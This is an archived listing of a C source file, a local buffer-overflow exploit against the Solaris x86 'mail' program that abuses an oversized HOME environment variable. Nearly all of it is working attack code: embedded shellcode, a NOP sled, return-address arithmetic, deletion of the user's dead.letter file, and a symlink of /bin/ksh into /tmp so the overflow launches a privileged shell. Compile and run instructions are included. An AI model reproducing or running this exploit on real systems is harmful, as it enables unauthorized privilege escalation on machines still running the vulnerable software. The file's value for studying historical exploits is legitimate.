home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / mailex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  186 lines

  1. /* 
  2. *  Solaris x86 mail HOME environment variable buffer overflow exploit 
  3. *                      by Virtualcat (virtualcat@hotmail.com)
  4. *                                    (virtualcat@xfocus.org)
  5. *                                    (http://www.xfocus.org)
  6. *  Compile: gcc -o mailex mailex.c 
  7. *  Run    : ./mailex [Adjustment] 
  8. *  Tested on Solaris 8 (x86).  Default should work. 
  9. */ 
  10.  
  11. #include <fcntl.h> 
  12. #include <unistd.h> 
  13. #include <stdlib.h> 
  14.  
  15. #define    RET_DIS            1028 
  16. #define    NOP            0x90 
  17. #define    NNOP            512 
  18.  
  19. #define    ENV_VAR            "HOME" 
  20.  
  21. #define    USER_UPPER_MAGIC    0x08047fff 
  22.  
  23. /* Shell code taken from Pablo Sor's "mailx -F" exploit code    */ 
  24. char shellCode[]= 
  25.         "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" 
  26.         "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" 
  27.         "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" 
  28.         "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" 
  29.         "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" 
  30.         "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" 
  31.         "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" 
  32.         "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" 
  33.         "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" 
  34.         "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; 
  35.  
  36. int get_esp() 
  37.     __asm__("mov %esp,%eax"); 
  38.  
  39. int  getEnvAddr(const char* envPtr) 
  40.     int    envAddr = NULL; 
  41.     int    retCode = 0; 
  42.  
  43.     char* charPtr = (char *) get_esp(); 
  44.  
  45.     /* Search for the starting address of the environment string for    */ 
  46.     /* the specified environment variable                    */ 
  47.     while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC) 
  48.     { 
  49.         retCode = memcmp((unsigned char *) charPtr++, envPtr, 4); 
  50.         /* Found */ 
  51.         if(retCode == 0) 
  52.         { 
  53.             envAddr = (int) (charPtr - 1); 
  54.             break; 
  55.         } 
  56.     } 
  57.  
  58.     return envAddr; 
  59.  
  60. int main(int argc, char** argv) 
  61.  
  62.     char    buff[256] = {0}; 
  63.  
  64.     int*    intPtr = NULL; 
  65.     char*    buffPtr = NULL; 
  66.     char*    charPtr = NULL; 
  67.  
  68.     int    retAddr = 0; 
  69.     int    retValue = 0; 
  70.  
  71.  
  72.     int    buffLen = 0; 
  73.     int    adjustment = 0; 
  74.     int    strLen = 0; 
  75.     int    alignment = 0; 
  76.     int    diff = 0; 
  77.     int    i; 
  78.  
  79.     int shellCodeLen = strlen(shellCode); 
  80.  
  81.     if(argc == 2) 
  82.     { 
  83.         adjustment = atoi(argv[1]); 
  84.     } 
  85.  
  86.     buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1; 
  87.  
  88.     charPtr = getenv(ENV_VAR); 
  89.  
  90.     /* Adjust the stupid alignment    */ 
  91.     strLen = strlen(charPtr) + 1; 
  92.     alignment = strLen % 4; 
  93.     if(alignment != 0) 
  94.     { 
  95.         alignment = 4 - alignment; 
  96.         strLen += alignment; 
  97.     } 
  98.  
  99.     alignment = buffLen % 4; 
  100.     if(alignment != 0) 
  101.     { 
  102.         alignment = 4 - alignment; 
  103.         buffLen += alignment; 
  104.     }     
  105.  
  106.     retValue = getEnvAddr(ENV_VAR); 
  107.      
  108.     diff = buffLen - strLen; 
  109.  
  110.     retAddr = retValue - diff + strlen(ENV_VAR) + 1; 
  111.  
  112.     alignment = retAddr % 4; 
  113.  
  114.     if(alignment != 0) 
  115.     { 
  116.         alignment = 4 - alignment; 
  117.     } 
  118.     retAddr += RET_DIS + alignment +  adjustment; 
  119.  
  120.     /* If the $HOME/dead.letter file exists, then delete it    */ 
  121.     /* Otherwise the overfolow won't take place        */ 
  122.     strcpy(buff, charPtr); 
  123.     strcat(buff, "/dead.letter"); 
  124.  
  125.     i = access(buff, F_OK); 
  126.     if(i == 0) 
  127.     { 
  128.         unlink(buff); 
  129.     } 
  130.  
  131.     /* Allocate memory for the evil buffer    */ 
  132.     buffPtr = (char *) malloc(buffLen); 
  133.  
  134.     if(buffPtr != NULL) 
  135.     { 
  136.  
  137.         strcpy(buffPtr, ENV_VAR); 
  138.         strcat(buffPtr, "="); 
  139.         charPtr = (char *) (buffPtr + strlen(buffPtr));     
  140.          
  141.         /* Fill the rest of the buffer with 'A'     */ 
  142.         memset(charPtr, 0x41, buffLen - strlen(buffPtr)); 
  143.  
  144.         /* Butt in the return address            */ 
  145.         intPtr = (int *) (charPtr + RET_DIS); 
  146.         *intPtr++ = retAddr; 
  147.  
  148.         /* Make sure the NOPs are located word aligned     */ 
  149.         charPtr = (char *) intPtr; 
  150.         charPtr += alignment; 
  151.  
  152.         for(i=0; i<NNOP; i++) 
  153.         { 
  154.             *charPtr++ = NOP; 
  155.         } 
  156.  
  157.         for(i=0; i<shellCodeLen; i++) 
  158.         { 
  159.             *charPtr++ = shellCode[i]; 
  160.         } 
  161.         *charPtr = 0; 
  162.  
  163.           symlink("/bin/ksh","/tmp/xx"); 
  164.  
  165.         putenv(buffPtr); 
  166.  
  167.         printf("Jumping to 0x%.8x\n", retAddr); 
  168.         printf("Press Ctrl+C to contine,  have fun!\n"); 
  169.  
  170.         system("/usr/bin/mail a"); 
  171.         unlink("/tmp/xx"); 
  172.     } 
  173.     else 
  174.     { 
  175.         printf("No more free memory!"); 
  176.     } 
  177.  
  178. /*..oO( I am virtual )Oo.. */